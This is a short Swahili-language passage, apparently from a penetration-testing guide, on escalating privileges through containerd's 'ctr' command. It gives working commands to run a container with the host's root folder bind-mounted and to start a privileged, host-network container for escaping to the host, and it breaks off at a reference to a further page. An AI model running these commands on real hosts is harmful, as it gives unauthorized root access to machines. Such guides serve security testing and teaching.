## PE 1

ikiwa unapata kwamba mwenyeji ana amri ya `ctr`:
```bash
which ctr
/usr/bin/ctr
```
Unaweza kuorodhesha picha:
```bash
ctr image list
REF                                  TYPE                                                 DIGEST                                                                  SIZE      PLATFORMS   LABELS

```
Na kisha **kimbia moja ya hizo picha ukitunga folda ya mizizi ya mwenyeji ndani yake**:
```bash
ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash
```
## PE 2

Kimbia kontena lenye mamlaka na kutoroka kutoka kwake.\
Unaweza kukimbia kontena lenye mamlaka kama:
```bash
ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
```
Kisha unaweza kutumia baadhi ya mbinu zilizotajwa kwenye ukurasa ufuatao ili **kutoroka kutoka kwake kwa kutumia uwezo wa kipaumbele**:
